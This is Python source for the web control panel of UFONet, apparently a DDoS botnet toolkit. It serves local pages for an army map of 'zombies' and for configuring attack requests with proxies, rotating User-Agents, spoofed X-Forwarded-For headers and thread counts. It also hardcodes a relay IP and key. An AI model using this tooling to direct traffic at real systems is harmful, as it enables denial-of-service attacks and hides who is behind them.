webgui.py 390 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985498649874988498949904991499249934994499549964997499849995000500150025003500450055006500750085009501050115012501350145015501650175018501950205021502250235024502550265027502850295030503150325033503450355036503750385039504050415042504350445045504650475048504950505051505250535054505550565057505850595060506150625063506450655066506750685069507050715072507350745075507650775078507950805081508250835084508550865087508850895090509150925093509450955096509750985099510051015102510351045105510651075108510951105111511251135114511551165117511851195120512151225123512451255126512751285129513051315132513351345135513651375138513951405141514251435144514551465147514851495150515151525153515451555156515751585159516051615162516351645165516651675168516951705171517251735174517551765177517851795180518151825183518451855186518751885189519051915192519351945195519651975198519952005201520252035204520552065207520852095210521152125213521452155216521752185219522052215222522352245225522652275228522952305231523252335234523552365237523852395240524152425243524452455246524752485249525052515252525352545255525652575258525952605261526252635264526552665267526852695270527152725273527452755276527752785279528052815282528352845285528652875288528952905291529252935294529552965297529852995300530153025303530453055306530753085309531053115312531353145315531653175318531953205321532253235324532553265327532853295330533153325333533453355336533753385339534053415342534353445345534653475348534953505351535253535354535553565357535853595360536153625363536453655366536753685369537053715372537353745375537653775378537953805381538253835384538553865387538853895390539153925393539453955396539753985399540054015402540354045405540654075408540954105411541254135414541554165417541854195420542154225423542454255426542754285429543054315432543354345435543654375438543954405441544254435444544554465447544854495450545154525453545454555456545754585459546054615462546354645465546654675468546954705471547254735474547554765477547854795480548154825483548454855486548754885489549054915492549354945495549654975498549955005501550255035504550555065507550855095510551155125513551455155516551755185519552055215522552355245525552655275528552955305531553255335534553555365537553855395540554155425543554455455546554755485549555055515552555355545555555655575558555955605561556255635564556555665567556855695570557155725573557455755576557755785579558055815582558355845585558655875588558955905591559255935594559555965597559855995600560156025603560456055606560756085609561056115612561356145615561656175618561956205621562256235624562556265627562856295630563156325633563456355636563756385639564056415642564356445645564656475648564956505651565256535654565556565657565856595660566156625663566456655666566756685669567056715672567356745675567656775678567956805681568256835684568556865687568856895690569156925693569456955696569756985699570057015702570357045705570657075708570957105711571257135714571557165717571857195720572157225723572457255726572757285729573057315732573357345735573657375738573957405741574257435744574557465747574857495750575157525753575457555756575757585759576057615762576357645765576657675768576957705771577257735774577557765777577857795780578157825783578457855786578757885789579057915792579357945795579657975798579958005801580258035804580558065807580858095810581158125813581458155816581758185819582058215822582358245825582658275828582958305831583258335834583558365837583858395840584158425843584458455846584758485849585058515852585358545855585658575858585958605861586258635864586558665867586858695870587158725873587458755876587758785879588058815882588358845885588658875888588958905891589258935894589558965897589858995900590159025903590459055906590759085909591059115912591359145915591659175918591959205921592259235924592559265927592859295930593159325933593459355936593759385939594059415942594359445945594659475948594959505951595259535954595559565957595859595960596159625963596459655966596759685969597059715972597359745975597659775978597959805981598259835984598559865987598859895990599159925993599459955996599759985999600060016002600360046005600660076008600960106011601260136014601560166017601860196020602160226023602460256026602760286029603060316032603360346035603660376038603960406041604260436044604560466047604860496050605160526053605460556056605760586059606060616062606360646065606660676068606960706071607260736074607560766077607860796080608160826083608460856086608760886089609060916092609360946095609660976098609961006101610261036104610561066107610861096110611161126113611461156116611761186119612061216122612361246125612661276128612961306131613261336134613561366137613861396140614161426143614461456146614761486149615061516152615361546155615661576158615961606161616261636164616561666167616861696170617161726173617461756176617761786179618061816182618361846185618661876188618961906191619261936194619561966197619861996200620162026203620462056206620762086209621062116212621362146215621662176218621962206221622262236224622562266227622862296230623162326233623462356236623762386239624062416242624362446245624662476248624962506251625262536254625562566257625862596260626162626263626462656266626762686269627062716272627362746275627662776278627962806281628262836284628562866287628862896290629162926293629462956296629762986299630063016302630363046305630663076308630963106311631263136314631563166317631863196320632163226323632463256326632763286329633063316332633363346335633663376338633963406341634263436344634563466347634863496350635163526353635463556356635763586359636063616362636363646365636663676368636963706371637263736374637563766377637863796380638163826383638463856386638763886389639063916392639363946395639663976398639964006401640264036404640564066407640864096410641164126413641464156416641764186419642064216422642364246425642664276428642964306431643264336434643564366437643864396440644164426443644464456446644764486449645064516452645364546455645664576458645964606461646264636464646564666467646864696470647164726473647464756476647764786479648064816482648364846485648664876488648964906491649264936494649564966497649864996500650165026503650465056506650765086509651065116512651365146515651665176518
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. #######WORKAROUND PYTHON(3) VERSIONS####################
  11. import platform
  12. python_version = "python"+platform.python_version_tuple()[0]+"."+platform.python_version_tuple()[1]
  13. #######################################################
  14. import socket, threading, re, os, time, random, base64
  15. import webbrowser, subprocess, json, sys, requests
  16. import urllib.request, urllib.error, urllib.parse
  17. from urllib.parse import urlparse as urlparse
  18. from core.tools.crypter import Cipher
  19. from time import gmtime, strftime, strptime
  20. from Crypto.Cipher import AES
  21. from hashlib import sha1, sha256
  22. from decimal import Decimal
  23. from random import shuffle
  24. from .options import UFONetOptions
  25. from .main import UFONet
  26. from core.tools.abductor import Abductor
  27. #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
  28. default_blackhole = '176.28.23.46' # default blackhole #
  29. crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
  30. ###################################################################
  31. browser_init_page = "https://searchencrypt.com" # initial webpage for ship.browser [OK! 06/06/2020]
  32. check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 06/06/2020]
  33. check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020]
  34. check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [06/06/2020]
  35. blackhole_sep = "|" # blackhole stream separator
  36. board_msg_sep = "#!#" # board stream separator
  37. grid_msg_sep = "#?#" # grid stream seperator
  38. wargames_msg_sep = "#-#" # wargames stream seperator
  39. links_msg_sep = "#L#" # links stream separator
  40. streams_msg_sep = "#S#" # streams stream separator
  41. games_msg_sep = "#G#" # games stream separator
  42. globalnet_msg_sep = "#$#" # globalnet stream separator
  43. host = "0.0.0.0"
  44. port = 9999
  45. class ClientThread(threading.Thread):
  46. def __init__(self, ip, port, socket):
  47. threading.Thread.__init__(self)
  48. self.ip = ip
  49. self.port = port
  50. self.socket = socket
  51. self.pages = Pages()
  52. def run(self):
  53. req = self.socket.recv(2048)
  54. res = self.pages.get(req)
  55. if res is None:
  56. self.socket.close()
  57. return
  58. out = "HTTP/1.0 %s\r\n" % res["code"]
  59. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  60. out += "%s" % res["html"]
  61. try:
  62. self.socket.send(out.encode('utf-8'))
  63. except:
  64. self.socket.send(out)
  65. self.socket.close()
  66. if "run" in res and len(res["run"]):
  67. subprocess.Popen(res["run"], shell=True)
  68. class Pages():
  69. def file_len(self, fn):
  70. with open(fn) as f:
  71. for i, l in enumerate(f):
  72. pass
  73. return i + 1
  74. def html_army_map(self,target=None):
  75. try:
  76. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n"
  77. except:
  78. target_js="not any zombie available\n\n"
  79. if target is not None:
  80. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  81. return self.pages["/header"] + """
  82. <link rel="stylesheet" href="/js/style.css" />
  83. <link rel="stylesheet" href="/js/ajaxmap.css" />
  84. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  85. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  86. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  87. <script src="/js/leaflet/leaflet.js"></script>
  88. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  89. <script src="/js/jquery-1.10.2.min.js"></script>
  90. <script src="/js/rlayer-src.js"></script>
  91. <script src="/js/raphael.js"></script>
  92. <script src="/js/ufo.js"></script>
  93. <script src="/js/ajax.js"></script>
  94. </head><body bgcolor="black" text="black">
  95. <div id="wrapper">
  96. <div id="map" style="width: 100%; height: 100%"></div>
  97. </div>
  98. <script type="text/javascript">
  99. window.onload = function(){
  100. """+target_js+"""
  101. }
  102. </script>
  103. <center>
  104. """ + self.pages["/footer"]
  105. def html_request_submit(self):
  106. return self.pages["/header"]+"""<script>
  107. window.setTimeout(window.close,1234)
  108. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  109. <center>settings updated"""+self.pages["/footer"]
  110. def html_requests(self):
  111. # read requests configuration file (json)
  112. try:
  113. with open(self.mothership_webcfg_file) as data_file:
  114. data = json.load(data_file)
  115. except:
  116. if os.path.exists(self.mothership_webcfg_file) == True:
  117. print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n')
  118. return
  119. else: # generate default requests configuration file
  120. print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]')
  121. with open(self.mothership_webcfg_file, "w") as f:
  122. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  123. # set values of requests configuration from json file to html form
  124. with open(self.mothership_webcfg_file) as data_file:
  125. data = json.load(data_file)
  126. self.agents = [] # generating available user-agents
  127. f = open(self.agents_file)
  128. agents = f.readlines()
  129. f.close()
  130. for agent in agents:
  131. self.agents.append(agent)
  132. self.user_agent = random.choice(self.agents).strip()
  133. self.rproxy = data["rproxy"]
  134. if self.rproxy == "NONE":
  135. self.rproxy = ""
  136. self.ruseragent = data["ruseragent"]
  137. if self.ruseragent == "RANDOM":
  138. self.ruseragent = self.user_agent # random user-agent
  139. self.rreferer = data["rreferer"]
  140. if self.rreferer == "RANDOM":
  141. self.rreferer = self.referer # random referer
  142. self.rhost = data["rhost"]
  143. if self.rhost == "NONE":
  144. self.rhost = ""
  145. self.rxforw = data["rxforw"]
  146. if self.rxforw == "on":
  147. self.rxforw_check = 'checked'
  148. else:
  149. self.rxforw_check = ''
  150. self.rxclient = data["rxclient"]
  151. if self.rxclient == "on":
  152. self.rxclient_check = 'checked'
  153. else:
  154. self.rxclient_check = ''
  155. self.rtimeout = data["rtimeout"]
  156. self.rretries = data["rretries"]
  157. self.rdelay = data["rdelay"]
  158. self.threads = data["threads"]
  159. self.rssl = data["rssl"]
  160. if self.rssl == "on":
  161. self.rssl_check = 'checked'
  162. else:
  163. self.rssl_check = ''
  164. return self.pages["/header"] + """
  165. <script language="javascript">
  166. function Requests() {
  167. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  168. }
  169. </script>
  170. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  171. <u>Configure requests:</u>
  172. <table cellpadding="2" cellspacing="2">
  173. <form method='GET'>
  174. <tr>
  175. <td> Use proxy server:</td>
  176. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  177. </tr>
  178. <tr>
  179. <td> Use another HTTP User-Agent header:</td>
  180. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  181. </tr>
  182. <tr>
  183. <td> Use another HTTP Referer header:</td>
  184. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  185. </tr>
  186. <tr>
  187. <td> Use another HTTP Host header:</td>
  188. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  189. </tr>
  190. <tr>
  191. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  192. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  193. </tr>
  194. <tr>
  195. <td> Set your HTTP X-Client-IP with random IP values:</td>
  196. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  197. </tr>
  198. <tr>
  199. <td> Select your timeout:</td>
  200. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  201. </tr>
  202. <tr>
  203. <td> Retries when the connection timeouts:</td>
  204. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  205. </tr>
  206. <tr>
  207. <td> Delay in seconds between each HTTP request:</td>
  208. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  209. </tr>
  210. <tr>
  211. <td> Number of threads:</td>
  212. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  213. </tr>
  214. <tr>
  215. <td> Force usage of SSL/HTTPS requests:</td>
  216. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  217. </tr>
  218. </table>
  219. <hr>
  220. <input type="hidden" name="update" value="1">
  221. <input type="submit" value="Set!" onclick="Requests()"></pre>
  222. </form>
  223. """ + self.pages["/footer"]
  224. def html_board_profile_submit(self):
  225. return self.pages["/header"]+"""<script>
  226. window.setTimeout(window.close,1234)
  227. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  228. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  229. def html_grid_profile_submit(self):
  230. return self.pages["/header"]+"""<script>
  231. window.setTimeout(window.close,1234)
  232. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  233. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  234. def profile_crew(self, icon):
  235. files = os.listdir("core/images/crew/")
  236. if icon == "NONE":
  237. icon = "link1"
  238. html_stream = ""
  239. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  240. for f in files:
  241. id = str(f.replace(".txt", ""))
  242. value = str(f.replace(".txt", ""))
  243. if icon == value:
  244. checked = " CHECKED"
  245. else:
  246. checked = ""
  247. crew_img = open("core/images/crew/"+value+".txt").read()
  248. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='data:image/png;base64,"+crew_img+"'></td>"
  249. html_stream += "</tr></table>"
  250. return html_stream
  251. def html_board_profile(self):
  252. try:
  253. with open(self.mothership_boardcfg_file) as data_file:
  254. data = json.load(data_file)
  255. except:
  256. if os.path.exists(self.mothership_boardcfg_file) == True:
  257. print('[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n')
  258. return
  259. else:
  260. print('[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]')
  261. with open(self.mothership_boardcfg_file, "w") as f:
  262. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  263. f.close()
  264. with open(self.mothership_boardcfg_file) as data_file:
  265. data = json.load(data_file)
  266. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  267. self.profile_icon = data["profile_icon"]
  268. self.profile_nick = data["profile_nick"]
  269. self.profile_nick.encode('utf-8')
  270. return self.pages["/header"] + """
  271. <script language="javascript">
  272. function BoardProfile() {
  273. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  274. }
  275. </script>
  276. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  277. <u>Configure profile:</u>
  278. <table cellpadding="2" cellspacing="2">
  279. <form method='GET'>
  280. <tr>
  281. <td> <u>OPERATOR/LINK:</u></td>
  282. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  283. </tr>
  284. <tr>
  285. <td> <u>NICKNAME:</u></td>
  286. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick+"""'></td>
  287. </tr>
  288. </table>
  289. <hr>
  290. <input type="hidden" name="update" value="1">
  291. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  292. </form>
  293. """ + self.pages["/footer"]
  294. def html_grid_profile(self):
  295. try:
  296. with open(self.mothership_gridcfg_file) as data_file:
  297. data = json.load(data_file)
  298. except:
  299. if os.path.exists(self.mothership_gridcfg_file) == True:
  300. print('[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n')
  301. return
  302. else:
  303. print('[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]')
  304. with open(self.mothership_gridcfg_file, "w") as f:
  305. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  306. f.close()
  307. with open(self.mothership_gridcfg_file) as data_file:
  308. data = json.load(data_file)
  309. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  310. self.grid_contact = data["grid_contact"]
  311. self.grid_contact.encode('utf-8')
  312. self.grid_nick = data["grid_nick"]
  313. self.grid_nick.encode('utf-8')
  314. return self.pages["/header"] + """
  315. <script language="javascript">
  316. function GridProfile() {
  317. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  318. }
  319. </script>
  320. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  321. <u>Configure grid profile:</u><br>
  322. <table cellpadding="2" cellspacing="2">
  323. <form method='GET'>
  324. <tr>
